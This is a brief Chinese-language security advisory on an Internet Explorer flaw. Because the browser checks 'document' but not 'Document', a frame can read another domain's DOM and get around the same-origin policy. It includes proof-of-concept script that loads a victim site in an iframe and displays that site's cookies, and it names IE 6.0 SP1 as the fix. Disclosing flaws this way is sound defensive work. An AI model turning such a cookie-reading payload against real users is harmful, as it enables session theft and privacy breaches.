详细描述
Microsoft Internet Explorer (MSIE)存在漏洞允许frame或者iframe未授权访问其他不同域中的frames/iframes中的Document Object Model (DOM)。

由于MSIE没有对所有帧属性进行访问控制检查,对'document'交叉域访问做了检查,而对'Document'却没有正确检查。

这就允许攻击者绕过同源策略,访问其他域中的内容,造成信息泄露,脚本执行等攻击。

测试代码
<script language="jscript">
onload=function () {
    // Timer necessary to prevent weird behavior in some conditions
    setTimeout(
        function () {
            alert(document.getElementById("oVictim").Document.cookie);
        },
        100
    );
}
</script>
<iframe src="http://example.com" id="oVictim"></iframe>

解决方案
采用Microsoft Internet Explorer 6.0 SP1
